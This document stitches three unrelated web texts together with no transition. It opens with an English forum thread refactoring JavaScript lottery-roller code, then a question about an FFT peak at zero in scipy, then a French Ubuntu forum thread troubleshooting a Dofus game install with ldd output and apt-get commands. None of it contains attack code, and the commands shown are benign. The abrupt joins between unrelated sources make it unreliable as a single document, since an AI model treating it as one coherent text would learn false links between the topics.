idx and individually numbered identifier should not be required. Experiments with having multiple lotto rollers will need to be done in order to troubleshoot any remaining issues with that
container and template need to be configurable options
the play button and result sections should be not be retrieved from the page, but instead be assigned when the lotto section is being created
numsort should be replaced with much simpler code, and be renamed to numberSort
the roll function needs a much simpler structure, which should result inonly three functions being called. One for validation, one to get the drawn numbers and one to show them
the template modifications should be moved to a separate function
the check that getDocumentById exists should throw an error if it doesn't
the firstChild check shouldn't be needed due to the refactoring, but testing will confirm that
the onsubmit function should just pass the form element to an init function
Those are the broad strokes of what needs to be done, which I'll temporarily attempt to work on from the ipad for a while.
paul_wilkins — 2013-04-28T23:12:54-04:00 — #11
The timer that is declared in the lotto function is used I only one place, and that is where the decision on whether to keep the rolling going on occurs.
timer = setTimeout(roll, 50);
if (counter > 50) {
clearTimeout(timer);
isRolling = false;
counter = 0;
}
By reorganizing that, we can remove the need for clearing the timer.
But, I cannot do this with my ipad because when I head off to edit some code, I'm forced to reload this comment page when I return, which forces me to lose all that I have typed up before.
The third time is the charm, time to admit defeat and do something else until at get back to a real computer.
paul_wilkins — 2013-04-29T00:31:18-04:00 — #12
Okay now - removing the need for the timer.
We can check if we need the timer before setting it. That will allow us to remove the need for the separate timer variable.
if (counter <= 50) {
setTimeout(roll, 50);
else {
isRolling = false;
counter = 0;
}
Those 50's each have different meanings, so we should place those in a config options area.
var lotto = function (pick, from, to) {
var opts = {
totalRolls: 50,
rollDelay: 50
},
...
After other refactorings have occurred to simplify things, we'll replace those function parameters with a single options object instead.
The playing variable can be renamed to isRolling, and we can come back to that one later to decide if it's better as a variable, or a property on the button.
buttonText and initalText can go in to the opts object:
var opts = {
buttonText: "Lotto Lucky Dip",
initialText: "Your Lucky Numbers",
...
playButton.value = opts.buttonText;
...
resultDiv.innerHTML = opts.initialText;
Let us now split up the roll function in to separate parts.
First there is the validation code, which uses pick, from and to.
if (from >= to) {
window.alert("from value must be less than to value");
return false;
}
if ((to + 1) - from < pick) {
window.alert("Error - You want " + pick + " numbers.\
\
" + "The range you have entered is from " + from + " to " + to + ".\
" + "This leaves " + (rng + 1) + " available random numbers.");
return false;
}
Because both parts return false, we can use a standard validation technique of having an isValid variable at the start of the function, which gets set to false if anything fails, and then return isValid.
function validateChoices(pick, from, to) {
var isValid = true;
if (from >= to) {
window.alert("from value must be less than to value");
isValid = false;
}
if ((to + 1) - from < pick) {
window.alert("Error - You want " + pick + " numbers.\
\
" + "The range you have entered is from " + from + " to " + to + ".\
" + "This leaves " + (rng + 1) + " available random numbers.");
isValid = false;
}
return isValid;
}
...
if (!validateChoices(pick, from, to)) {
return false;
}
and the part of the roll function that draws the different numbers, can be extracted out to a drawNumbers function
function drawNumbers(pick, from, to) {
var draw = [],
rng = to - from,
e = (rng + 1),
i,
j,
number;
isRolling = true;
for (i = 0; i < pick; i += 1) {
number = parseInt(from + Math.random() * e, 10);
for (j = 0; j < pick; j) {
if (number !== draw[j]) {
j += 1;
} else {
number = parseInt(from + Math.random() * e, 10);
j = 0;
}
}
draw[i] = number;
}
return draw;
}
...
var i,
dum = "",
disp,
draw = drawNumbers(pick, from, to);
That drawNumbers function can now be refactored, so that instead of rng and e variables, we can just use a delta variable.
var draw = [],
delta = to - from + 1, // inclusive of both ends
and the random number functions we can move out to a separate getRandomInteger function
function getRandomInteger(from, to) {
var delta = to - from + 1; // inclusive of both ends
return parseInt(from + Math.random() * delta, 10);
}
...
number = getRandomInteger(from, to);
but we still need to simplify the nested loop that draws a new random number, which is currently:
for (i = 0; i < pick; i += 1) {
number = getRandomInteger(from, to);
for (j = 0; j < pick; j) {
if (number !== draw[j]) {
j += 1;
} else {
number = getRandomInteger(from, to);
j = 0;
}
}
draw[i] = number;
}
It may be easier to see what we need to do if we switch around the if/else statement
if (number === draw[j]) {
number = getRandomInteger(from, to);
j = 0;
} else {
j += 1;
}
So what we need to do, is to keep on picking numbers until we find one that has not already been picked.
We have a couple of different options here. We could tidy up the existing structure, or we could come up with a completely different solution where we randomize an array of numbers and then pick the first n from that array.
I'll leave off temporarily here to take care of some things, and consider those options.
pullo — 2013-04-29T05:31:46-04:00 — #13
Howdy,
So, I've just finished working through your latest set of refactorings.
I like how you are applying the single responsibility principle (if you can call it that). Already the code is starting to become a lot more readable.
I have some questions and some observations.
I'll reply to your posts separately, so as to make things easier to follow.
This was bothering me when I did the initial separation of HTML and JS.
Do you think you are ever likely to need multiple lotto rollers on the same page?
That would be good.
See my previous post
Why would you check for this?
What purpose does this line actually serve?
if ((document.getElementById && document.firstChild) && window.addEventListener || window.attachEvent) {
paul_wilkins — 2013-04-29T05:39:59-04:00 — #14
It's not ordinarily likely, but I can see a use for it.
there may be a page may list different pre-defined lotto draws
or a demo page that shows how different types of settings work
or people may be able to save lotto settings that they like, as different rollers on a custom page
It was a common technique with older web browsers, for example, with IE4 and earlier not supporting getElementById. It's not a check that we tend to use nowdays, but for the sake of completion I'll leave it in with an appropriately thrown exception.
pullo — 2013-04-29T05:48:51-04:00 — #15
I followed along with all of the refactorings, however one thing occurred to me.
If you move the validation into its own method, where should the call to validateChoices go?
Ideally, you want it to be called once, when the user presses "Update Lucky Dip" and not, as is currently happening, when the user presses "Lotto Lucky Dip" to start the draw.
However, as validateChoices is defined from within the lotto function, you cannot simply write:
form.onsubmit = function () {
var form = this,
pick = Number(form.elements.pick.value) || 0,
from = Number(form.elements.from.value) || 0,
to = Number(form.elements.to.value) || 0;
if (!validateChoices(pick, from, to)) {
return false;
}
lotto(pick, from, to);
return false;
};
This is where I get a bit confused with JS. In ruby you could write Lotto::validateChoices (Lotto being a class).
Anyway, I moved this:
if (!validateChoices(pick, from, to)) {
return false;
}
to the top of the lotto function after the variable declarations, so at least it only gets called once.
The downside of that, is that the function itself has no concept of the variable rng, so you have to write:
window.alert("Error - You want " + pick + " numbers.\
\
" + "The range you have entered is from " + from + " to " + to + ".\
" + "This leaves " + ((to - from) + 1) + " available random numbers.");
instead of:
window.alert("Error - You want " + pick + " numbers.\
\
" + "The range you have entered is from " + from + " to " + to + ".\
" + "This leaves " + (rng + 1) + " available random numbers.");
What are your thoughts on this?
pullo — 2013-04-29T05:51:19-04:00 — #16
Good point!
Ah ok. Thanks!
paul_wilkins — 2013-04-29T05:53:37-04:00 — #17
My thoughts on this are that it's okay for the range variable to be calculated in a few different sections. If a third or more situations occur though, that is a good time to refactor things further.
Alternatively, you can have a getRange() function which accepts to and from, and returns the calculated range to both areas.
Whichever one you choose is a choice on your part as author, about which one you feel will result in a greater understanding for the person reading the code.
paul_wilkins — 2013-04-29T07:08:34-04:00 — #18
It is tempting to randomize an array of values, but we don't know if people will choose to pick numbers from a large range of potential millions, so I'll go with the less brittle technique of checking if the chosen number already exists in the array.
I've moved the inner loop out to a separate function called arrayHasNumber(), which has allowed me to use a while loop in there, which represents what we are wanting to achieve to a much more accurate degree.
function drawNumbers(pick, from, to) {
var draw = [],
i,
number;
for (i = 0; i < pick; i += 1) {
do {
number = getRandomInteger(from, to);
} while (arrayHasNumber(draw, number));
draw[i] = number;
}
return draw;
}
With the arrayHasNumber function, I don't know if a persons web browser yet supports the Array.indexOf method, so we can check if that method exists before using it, and if not we can fall back to looping through the array.
In fact, there's a better way of doing this, so here it is just in a code block, to show what was going to be used:
function arrayHasNumber(array, number) {
// use native technique if available
if (Array.indexOf) {
return (array.indexOf(number) > -1);
}
// otherwise check manually
var i,
hasNumber = false;
for (i = 0; i < array.length; i += 1) {
if (number === array[i]) {
hasNumber = true;
break;
}
}
return hasNumber;
}
A better way, is to provide compatibility code for the Array.indexOf method right from the start, which we can get from https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Array/indexOf
if (!Array.prototype.indexOf) {
Array.prototype.indexOf = function (searchElement /*, fromIndex */ ) {
"use strict";
if (this == null) {
throw new TypeError();
}
var t = Object(this);
var len = t.length >>> 0;
if (len === 0) {
return -1;
}
var n = 0;
if (arguments.length > 1) {
n = Number(arguments[1]);
if (n != n) { // shortcut for verifying if it's NaN
n = 0;
} else if (n != 0 && n != Infinity && n != -Infinity) {
n = (n > 0 || -1) * Math.floor(Math.abs(n));
}
}
if (n >= len) {
return -1;
}
var k = n >= 0 ? n : Math.max(len - Math.abs(n), 0);
for (; k < len; k++) {
if (k in t && t[k] === searchElement) {
return k;
}
}
return -1;
}
}
Now we can replace that arrayHasNumber function with:
function arrayHasNumber(array, number) {
return array.indexOf(number) > -1;
}
We might even remove the arrayHasNumber function and just put its code directly in the while loop, but that comes down to a choice of which is more expressive.
Either this:
} while (draw.indexOf(number) > -1);
or that:
} while (numberAlreadyExists(number, draw));
I might go for the latter, but it depends too on the potential audience.
The next part to refactor is the display of the drawn numbers.
for (i = 0; i < pick; i += 1) {
disp = dum += (draw[i] + " ");
}
counter += 1;
document.getElementById("result" + idx).firstChild.data = disp;
The loop can be replaced with a simple join statement, so we don't need the dum variable.
The resultDiv was defined earlier on, so we can use that here too instead of searching for it.
And the disp variable is used only once, so we can place the join at the end of the assignment.
So the above code is brought down to just the following:
resultDiv.innerHTML = draw.join(' ');
The last part of the roll function is about setting up the next roll:
counter += 1;
if (counter <= opts.totalRolls) {
setTimeout(roll, 50);
} else {
isRolling = false;
counter = 0;
}
The isRolling variable being in the same place as resetting the counter helps me to realise that the isRolling variable isn't even needed. We can just check if the counter is greater than 0, so all isRolling parts can be removed, and the playButton onclick function can instead have this in there instead:
if (counter > 0) {
return false;
}
So let's move the remaining code to its own function called setupNextRoll()
function setupNextRoll(totalRolls, rollDelay, callback) {
counter += 1;
if (counter <= totalRolls) {
setTimeout(callback, rollDelay);
} else {
counter = 0;
}
}
...
setupNextRoll(opts.totalRolls, opts.rollDelay, roll);
I'm passing the roll function at the end, because if we didn't do that then we would need the setupNextRoll function to refer to the roll function that is below it, which in turn refers to the function above it. Linting software complains about calls that go upwards, and the callback is a highly effective method to convey what is happening, so it solves a number of related issues.
That should do us for this part of things in the roll function. It's now looking nice and expressive, where validate before drawing, sorting, and showing the numbers, thengo to the next roll.
function roll() {
if (!validateChoices(pick, from, to)) {
return false;
}
var draw = drawNumbers(pick, from, to);
draw.sort(numericSort);
resultDiv.innerHTML = draw.join(' ');
setupNextRoll(opts.totalRolls, opts.rollDelay, roll);
}
The resultDiv part could be moved out to a separate function so that we can more easily separate the action of rolling from the act of showing the content, but there are bigger fish to fry for now.
Now that the roll function has been simplified we can move the function parameters to the opts object, which will help us to keep our configuration information all in the same consistent location.
var lotto = function (options) {
var opts = {
buttonText: "Lotto Lucky Dip",
initialText: "Your Lucky Numbers",
pick: options.pick,
from: options.from,
to: options.to,
totalRolls: 50,
rollDelay: 50
},
...
if (!validateChoices(opts.pick, opts.from, opts.to)) {
...
var draw = drawNumbers(opts.pick, opts.from, opts.to);
...
var form = this;
lotto({
pick: Number(form.elements.pick.value) || 0,
from: Number(form.elements.from.value) || 0,
to: Number(form.elements.to.value) || 0
});
What we end up with is shown at http://jsfiddle.net/pmw57/8R42e/18/
We are nearly ready now to init the lotto object using custom parameters, which will be delved in to about tomorrow.
pullo — 2013-04-29T09:04:32-04:00 — #19
Wow! Good stuff!
That is really well explained and easy to follow.
I have a couple of questions:
In your opinion, at what point does it become feasible to start monkey patching objects, as opposed to rolling your own (admittedly more limited) solution
I didn't quite get why you need to pass roll as a callback to setupNextRoll.
Look forward to the next instalment.
paul_wilkins — 2013-04-29T16:30:04-04:00 — #20
That can be something that different people disagree with, for myself, I am hesitant to fiddle with any pre-existing objects. In this case with Array.indexOf, it's a method that is built in to many web browsers and the behavior is well defined, so I am happy to help bring less capable web browsers along for the ride. Such As IE.
It's something that you have to be careful of though. The Prototype library monkey-patched getElementsByClassName which ended up causing all sorts of grief when web browsers eventually decided to do things slightly different.
A good explanation of what happened ther can be found in John Resig's getElementsByClassName pre-prototype 1.6 article.
The main thing that I was worrying about there was in terms of the linter that I use to help keep the code clean and tidy. JSLint can be a harsh mistress at times, but it helps to ensure that your code has a minimum of problematic issues. One of those is in regard to placing calls to functions further down that may not exist yet. This can be a complex issue, but here's a basic rundown of the situation.
You may have some code, that goes:
function foo() {
bar(); // this works
}
foo();
function bar() {
...
}
The problem comes when someone changes the second function to a function expression, for which there may be several reasons to do so.
function foo() {
bar(); // doesn't work
}
foo();
var bar = function () {
...
}
That doesn't work because the second function doesn't exist until it is actually defined. So, placing calls to lower areas of code can be problematic. So coders help to prevent that problem by placing calls to code that is above them.
So what happens when you have two functions that call each other?
function foo() {
setTimeout(bar);
}
function bar() {
alert('called');
if (Math.random() > 0.3) {
foo();
}
}
bar();
The first function is placing a call to the second one, which can cause problems due to what we saw above.
If you are going to live by rule that you don't call functions below you, something has to occur to stop the first function from calling further down. We can achieve that by passing it in to the first function as a callback, which also makes the function more flexible in how it behaves too.
function foo(callback) {
setTimeout(callback);
}
function bar() {
alert('called');
if (Math.random() > 0.3) {
foo(bar);
}
}
bar();
next page →
|
I looked into many examples of scipy.fft and numpy.fft. Specifically this example Scipy/Numpy FFT Frequency Analysis is very similar to what I want to do. Therefore, I used the same subplot positioning and everything looks very similar.
I want to import data from a file, which contains just one column to make my first test as easy as possible.
My code writes like this:
import numpy as np
import scipy as sy
import scipy.fftpack as syfp
import pylab as pyl
# Read in data from file here
array = np.loadtxt("data.csv")
length = len(array)
# Create time data for x axis based on array length
x = sy.linspace(0.00001, length*0.00001, num=length)
# Do FFT analysis of array
FFT = sy.fft(array)
# Getting the related frequencies
freqs = syfp.fftfreq(array.size, d=(x[1]-x[0]))
# Create subplot windows and show plot
pyl.subplot(211)
pyl.plot(x, array)
pyl.subplot(212)
pyl.plot(freqs, sy.log10(FFT), 'x')
pyl.show()
The problem is that I will always get my peak at exactly zero, which should not be the case at all. It really should appear at around 200 Hz.
With smaller range:
Still biggest peak at zero.
|
hectorau_ben
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Même si tu m'as toujours pas répondu, dofus marche parfaitement, sans AUCUN ralentissement, mais le son ne marche pas ... Même si l'Updater est ouvert et que j'ai activé le son dans le options et biensûr, je n'ai pas trouvé la solution. Merrcii
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Même si tu m'as toujours pas répondu, dofus marche parfaitement, sans AUCUN ralentissement, mais le son ne marche pas ... Même si l'Updater est ouvert et que j'ai activé le son dans le options et biensûr, je n'ai pas trouvé la solution. Merrcii
Bizarre ça, met moi ces commandes :
ls -lR /opt/Dofus_Paquet/share/reg
cat /opt/Dofus_Paquet/share/uplauncher.log
Hors ligne
hectorau_ben
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Humm, dur dur parce que nautilus ne marche pas et /home/hector/desktop n'est pas crée, je pourrais faire la commande, mais je ne pouurais pas ouvrir dofus.Je ne sais pas quoi faire
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Heu, je comprend pas tout. Pour faire les commandes tu as juste besoin d'ouvrir ton terminal. Au pire, fait le en tty (Ctrl + Alt + F1 ... F2 ...)
Hors ligne
Kekzard
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Voila les resultat :
ordicollege@ordicollege:~$ /opt/Dofus_Paquet/share/UpLauncher
/opt/Dofus_Paquet/share/UpLauncher: /usr/lib/libstdc++.so.6: version `GLIBCXX_3.4.11' not found (required by /opt/Dofus_Paquet/share/UpLauncher)
ordicollege@ordicollege:~$ ldd /opt/Dofus_Paquet/share/UpLauncher
/opt/Dofus_Paquet/share/UpLauncher: /usr/lib/libstdc++.so.6: version `GLIBCXX_3.4.11' not found (required by /opt/Dofus_Paquet/share/UpLauncher)
linux-gate.so.1 => (0xb7737000)
libgtk-x11-2.0.so.0 => /usr/lib/libgtk-x11-2.0.so.0 (0xb73ed000)
libgthread-2.0.so.0 => /usr/lib/libgthread-2.0.so.0 (0xb73e9000)
libSM.so.6 => /usr/lib/libSM.so.6 (0xb73e0000)
libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0xb73c0000)
libssl.so.0.9.8 => /usr/lib/libssl.so.0.9.8 (0xb737f000)
libdbus-glib-1.so.2 => /usr/lib/libdbus-glib-1.so.2 (0xb7364000)
libgdk-x11-2.0.so.0 => /usr/lib/libgdk-x11-2.0.so.0 (0xb72e4000)
libgdk_pixbuf-2.0.so.0 => /usr/lib/libgdk_pixbuf-2.0.so.0 (0xb72cd000)
libgobject-2.0.so.0 => /usr/lib/libgobject-2.0.so.0 (0xb7292000)
libglib-2.0.so.0 => /usr/lib/libglib-2.0.so.0 (0xb71e4000)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0xb70f2000)
libm.so.6 => /lib/libm.so.6 (0xb70cc000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0xb70c1000)
libc.so.6 => /lib/libc.so.6 (0xb6f78000)
libXinerama.so.1 => /usr/lib/libXinerama.so.1 (0xb6f74000)
libX11.so.6 => /usr/lib/libX11.so.6 (0xb6e90000)
libpango-1.0.so.0 => /usr/lib/libpango-1.0.so.0 (0xb6e54000)
libz.so.1 => /usr/lib/libz.so.1 (0xb6e3f000)
librt.so.1 => /lib/librt.so.1 (0xb6e36000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb6e1e000)
libcrypto.so.0.9.8 => /usr/lib/libcrypto.so.0.9.8 (0xb6cee000)
libdl.so.2 => /lib/libdl.so.2 (0xb6cea000)
libpng12.so.0 => /usr/lib/libpng12.so.0 (0xb6cc7000)
libexpat.so.1 => /usr/lib/libexpat.so.1 (0xb6ca5000)
libpangocairo-1.0.so.0 => /usr/lib/libpangocairo-1.0.so.0 (0xb6c9c000)
libXcomposite.so.1 => /usr/lib/libXcomposite.so.1 (0xb6c99000)
libXdamage.so.1 => /usr/lib/libXdamage.so.1 (0xb6c95000)
libXfixes.so.3 => /usr/lib/libXfixes.so.3 (0xb6c90000)
libatk-1.0.so.0 => /usr/lib/libatk-1.0.so.0 (0xb6c77000)
libgmodule-2.0.so.0 => /usr/lib/libgmodule-2.0.so.0 (0xb6c73000)
libcairo.so.2 => /usr/lib/libcairo.so.2 (0xb6c16000)
libICE.so.6 => /usr/lib/libICE.so.6 (0xb6bfe000)
libdbus-1.so.3 => /usr/lib/libdbus-1.so.3 (0xb6bca000)
libnsl.so.1 => /lib/libnsl.so.1 (0xb6bb4000)
libfontconfig.so.1 => /usr/lib/libfontconfig.so.1 (0xb6b8b000)
libXext.so.6 => /usr/lib/libXext.so.6 (0xb6b7d000)
libXrender.so.1 => /usr/lib/libXrender.so.1 (0xb6b73000)
libXi.so.6 => /usr/lib/libXi.so.6 (0xb6b6b000)
libXrandr.so.2 => /usr/lib/libXrandr.so.2 (0xb6b64000)
libXcursor.so.1 => /usr/lib/libXcursor.so.1 (0xb6b5b000)
libpcre.so.3 => /usr/lib/libpcre.so.3 (0xb6b33000)
/lib/ld-linux.so.2 (0xb7738000)
libxcb-xlib.so.0 => /usr/lib/libxcb-xlib.so.0 (0xb6b30000)
libxcb.so.1 => /usr/lib/libxcb.so.1 (0xb6b19000)
libpangoft2-1.0.so.0 => /usr/lib/libpangoft2-1.0.so.0 (0xb6af1000)
libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0xb6a85000)
libpixman-1.so.0 => /usr/lib/libpixman-1.so.0 (0xb6a5c000)
libXau.so.6 => /usr/lib/libXau.so.6 (0xb6a58000)
libXdmcp.so.6 => /usr/lib/libXdmcp.so.6 (0xb6a53000)
ordicollege@ordicollege:~$
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Ok, donc je fais quelques tests en machine virtuelle et je te dis la marche à suivre
Hors ligne
Kekzard
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Ok. Merci.
Hors ligne
chepioq
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bonjour,
J'ai lu sur le site d'adobe qu'ils vont abandonner AdobeAir pour linux :
http://get.adobe.com/fr/air/
http://blogs.adobe.com/flashplayer/2011 … vices.html
Est-ce que cela va avoir une incidence sur Dofus (à toutes fin utile, je garde un rpm d'AdobeAir bien au chaud)...
Dernière modification par chepioq (Le 13/11/2011, à 18:15)
Tout est dans tout et réciproquement....
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bonjour,
J'ai lu sur le site d'adobe qu'ils vont abandonner AdobeAir pour linux :
http://get.adobe.com/fr/air/
http://blogs.adobe.com/flashplayer/2011 … vices.html
Est-ce que cela va avoir une incidence sur Dofus (à toutes fin utile, je garde un rpm d'AdobeAir bien au chaud)...
Salut,
Ils ont abandonné air pour linux depuis la version 2.6. La 2.7 a été sortie que sous windows et mac.
D'ailleurs maintenant, les raisons de leur abandon ne sont plus très logiques vu que Adobe a annoncé il y a quelques jours l'abandon de flash pour Android...
Concernant Dofus, à mon avis à moyen voir long terme, il n'y a pas de soucis à se faire. Le seul risque est qu'Ankama utilise les API d'une version plus récente et décide donc d'imposer une version minimale ...
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Ok. Merci.
Désolé mais ta version d'Ubuntu est trop vieille. L'updater a besoin de version plus récente de certaines librairies de base (libc6, ...).
Pas mal de personne ont eu le même problème que toi il y a quelques mois. J'ai eu beau avoir essayé pas mal de chose, il faudrait quasiment remplacer la moitié des librairies de ton système pour que ça fonctionne...
Donc à part mettre à jour ta version d'Ubuntu je ne vois pas d'autre solution.
Si tu as besoin d'aide pour le faire, n'hésite pas
Hors ligne
Kekzard
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Salut. Ok. Oui, j'aurai bien besoin d'aide s'il te plait ^^ Vue comment chui très forte en informatique, je risque de faire des connerie. x)
En tout cas merci de consacré de ton temps pour m'aider.
Hors ligne
friz
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bonjour,
Je viens d'installer Dofus, à priori l'installation s'est bien passée. J'ai les icones dans le menu Jeux. Lorsque je lance Dofus direct une fenetre me disant que l'updater va être lancer automatiquement s'ouvre. Je valide puis plus rien. Que faire?
Merci
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bonjour,
Je viens d'installer Dofus, à priori l'installation s'est bien passée. J'ai les icones dans le menu Jeux. Lorsque je lance Dofus direct une fenetre me disant que l'updater va être lancer automatiquement s'ouvre. Je valide puis plus rien. Que faire?
Merci
Salut,
Est-tu sur la 11.10 ?
Si c'est le cas, fait cette commande et tout devrait rentrer dans l'ordre :
sudo apt-get install libssl0.9.8
Sinon, met moi le retour de :
ldd /opt/Dofus_Paquet/share/UpLauncher
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Salut. Ok. Oui, j'aurai bien besoin d'aide s'il te plait ^^ Vue comment chui très forte en informatique, je risque de faire des connerie. x)
En tout cas merci de consacré de ton temps pour m'aider.
Donc alors, première chose, sauvegarde bien toutes les données que tu souhaites conserver. (documents, musique, favoris, email ...)
Ensuite, il faut télécharger l'image cd de la dernière version d'Ubuntu (11.10). Tu la trouveras à cette adresse :
http://ubuntu-fr.org/telechargement?action=dl
Il faut maintenant que tu graves sur un cd le .iso que tu viens de télécharger. Normalement un clique droit dessus te propose l'option pour graver l'image.
On verra la suite après
Dernière modification par yoann21 (Le 19/11/2011, à 22:33)
Hors ligne
nico4116
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bonjour j'ai le même problème je lance mon dofus avec le terminal une fenêtre s'ouvre me disant que l' updateur va s'ouvrir puis plus rien voici la réponse a la commande demandée :
linux-gate.so.1 => (0x001f1000)
libgtk-x11-2.0.so.0 => /usr/lib/i386-linux-gnu/libgtk-x11-2.0.so.0 (0x00560000)
libgthread-2.0.so.0 => /usr/lib/i386-linux-gnu/libgthread-2.0.so.0 (0x00e33000)
libSM.so.6 => /usr/lib/i386-linux-gnu/libSM.so.6 (0x0030a000)
libjpeg.so.62 => /usr/lib/i386-linux-gnu/libjpeg.so.62 (0x00bea000)
libssl.so.0.9.8 => /lib/libssl.so.0.9.8 (0x00110000)
libdbus-glib-1.so.2 => /usr/lib/i386-linux-gnu/libdbus-glib-1.so.2 (0x0015e000)
libgdk-x11-2.0.so.0 => /usr/lib/i386-linux-gnu/libgdk-x11-2.0.so.0 (0x001f2000)
libgdk_pixbuf-2.0.so.0 => /usr/lib/i386-linux-gnu/libgdk_pixbuf-2.0.so.0 (0x00fac000)
libgobject-2.0.so.0 => /usr/lib/i386-linux-gnu/libgobject-2.0.so.0 (0x00ead000)
libglib-2.0.so.0 => /lib/i386-linux-gnu/libglib-2.0.so.0 (0x00ad1000)
libstdc++.so.6 => /usr/lib/i386-linux-gnu/libstdc++.so.6 (0x00313000)
libm.so.6 => /lib/i386-linux-gnu/libm.so.6 (0x0049b000)
libgcc_s.so.1 => /lib/i386-linux-gnu/libgcc_s.so.1 (0x001b5000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00fcc000)
libXinerama.so.1 => /usr/lib/i386-linux-gnu/libXinerama.so.1 (0x00183000)
libX11.so.6 => /usr/lib/i386-linux-gnu/libX11.so.6 (0x02f98000)
libpango-1.0.so.0 => /usr/lib/i386-linux-gnu/libpango-1.0.so.0 (0x002a0000)
libz.so.1 => /lib/i386-linux-gnu/libz.so.1 (0x00187000)
librt.so.1 => /lib/i386-linux-gnu/librt.so.1 (0x00efd000)
libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0x00f64000)
libcrypto.so.0.9.8 => /lib/libcrypto.so.0.9.8 (0x07d7a000)
libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0x0019c000)
libpng12.so.0 => /lib/i386-linux-gnu/libpng12.so.0 (0x004fa000)
libexpat.so.1 => /lib/i386-linux-gnu/libexpat.so.1 (0x003fe000)
libpangocairo-1.0.so.0 => /usr/lib/i386-linux-gnu/libpangocairo-1.0.so.0 (0x001a1000)
libXfixes.so.3 => /usr/lib/i386-linux-gnu/libXfixes.so.3 (0x00ab6000)
libatk-1.0.so.0 => /usr/lib/i386-linux-gnu/libatk-1.0.so.0 (0x00a0a000)
libcairo.so.2 => /usr/lib/i386-linux-gnu/libcairo.so.2 (0x00c0e000)
libgio-2.0.so.0 => /usr/lib/i386-linux-gnu/libgio-2.0.so.0 (0x0e232000)
libpangoft2-1.0.so.0 => /usr/lib/i386-linux-gnu/libpangoft2-1.0.so.0 (0x00428000)
libfontconfig.so.1 => /usr/lib/i386-linux-gnu/libfontconfig.so.1 (0x00d95000)
libgmodule-2.0.so.0 => /usr/lib/i386-linux-gnu/libgmodule-2.0.so.0 (0x001ae000)
libICE.so.6 => /usr/lib/i386-linux-gnu/libICE.so.6 (0x001d3000)
libuuid.so.1 => /lib/i386-linux-gnu/libuuid.so.1 (0x002e9000)
libdbus-1.so.3 => /lib/i386-linux-gnu/libdbus-1.so.3 (0x00a2a000)
libXext.so.6 => /usr/lib/i386-linux-gnu/libXext.so.6 (0x002ef000)
libXrender.so.1 => /usr/lib/i386-linux-gnu/libXrender.so.1 (0x00455000)
libXi.so.6 => /usr/lib/i386-linux-gnu/libXi.so.6 (0x00460000)
libXrandr.so.2 => /usr/lib/i386-linux-gnu/libXrandr.so.2 (0x00470000)
libXcursor.so.1 => /usr/lib/i386-linux-gnu/libXcursor.so.1 (0x00479000)
libXcomposite.so.1 => /usr/lib/i386-linux-gnu/libXcomposite.so.1 (0x001ed000)
libXdamage.so.1 => /usr/lib/i386-linux-gnu/libXdamage.so.1 (0x00302000)
libffi.so.6 => /usr/lib/i386-linux-gnu/libffi.so.6 (0x00484000)
libpcre.so.3 => /lib/i386-linux-gnu/libpcre.so.3 (0x009c9000)
/lib/ld-linux.so.2 (0x00d16000)
libxcb.so.1 => /usr/lib/i386-linux-gnu/libxcb.so.1 (0x004c5000)
libfreetype.so.6 => /usr/lib/i386-linux-gnu/libfreetype.so.6 (0x10d76000)
libpixman-1.so.0 => /usr/lib/i386-linux-gnu/libpixman-1.so.0 (0x1f894000)
libxcb-shm.so.0 => /usr/lib/i386-linux-gnu/libxcb-shm.so.0 (0x00ab2000)
libxcb-render.so.0 => /usr/lib/i386-linux-gnu/libxcb-render.so.0 (0x0048b000)
libselinux.so.1 => /lib/i386-linux-gnu/libselinux.so.1 (0x00524000)
libresolv.so.2 => /lib/i386-linux-gnu/libresolv.so.2 (0x00542000)
libXau.so.6 => /usr/lib/i386-linux-gnu/libXau.so.6 (0x00306000)
libXdmcp.so.6 => /usr/lib/i386-linux-gnu/libXdmcp.so.6 (0x004e4000)
Dernière modification par nico4116 (Le 19/11/2011, à 22:53)
Hors ligne
yoann21
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Bonjour j'ai le même problème je lance mon dofus avec le terminal une fenêtre s'ouvre me disant que l' updateur va s'ouvrir puis plus rien voici la réponse a la commande demandée :
Utilise la balise quote stp
Met moi maintenant le résultat de ces commandes :
/usr/bin/Dofus_Uplauncher
/opt/Dofus_Paquet/share/UpLauncher
Hors ligne
nico4116
Re : [tuto]Installation de Dofus 2.0 par paquet debian et rpm (pour la doc)
Non il m'ouvre l'uplaucher mais il me dit qu'il est déja executé reponse demande d'utiliser
nico4116@nico4116-eMachines-E510:~$ /usr/bin/Dofus_Uplauncher
Cette option n'est pas disponible. Veuillez consulter --help pour toutes les utilisations possibles.
nico4116@nico4116-eMachines-E510:~$ /opt/Dofus_Paquet/share/UpLauncher
not running
Destroyed
Dernière modification par nico4116 (Le 19/11/2011, à 23:13)
Hors ligne
friz
